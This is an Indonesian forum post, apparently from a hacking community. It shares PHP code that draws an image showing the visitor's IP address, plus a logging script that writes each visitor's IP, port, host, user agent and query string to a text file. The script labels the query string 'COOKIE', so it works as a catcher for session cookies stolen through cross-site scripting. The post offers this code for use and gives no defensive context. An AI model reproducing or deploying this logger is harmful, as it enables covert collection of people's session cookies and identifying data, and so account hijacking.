ternyata bisa tampil dengan sempurna dengan code :
Code: Select all
<?php
$sh4d = ' sh4dhckr said your IP is '.$_SERVER['REMOTE_ADDR'].' ';
$i = imagecreate(strlen($sh4d)*8,15);
$b = imagecolorallocate($i,0,0,0);
$t = imagecolorallocate($i,0,255,0);
imagestring($i,4,2,0,$sh4d,$t);
header('Content-type: image/gif');
imagegif($i);
imagedestroy($i);
?>
aku sisipin code buat log IP :
Code: Select all
<?
$log="log.txt";
$ip = $_SERVER['REMOTE_ADDR'];
$cookie = $_SERVER['QUERY_STRING'];
$rem_host = $_SERVER['REMOTE_HOST'];
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$file = fopen($log,'a+');
echo fwrite($file, "IP: $ip \nPORT: $rem_port \nHOST: $rem_host \nAgent: $user_agent \nMETHOD: $rqst_method \nCOOKIE: $cookie \n\n");
fclose($file);
?>
sekian.. semoga bermanfaat.. :maaf: :maaf: :maaf: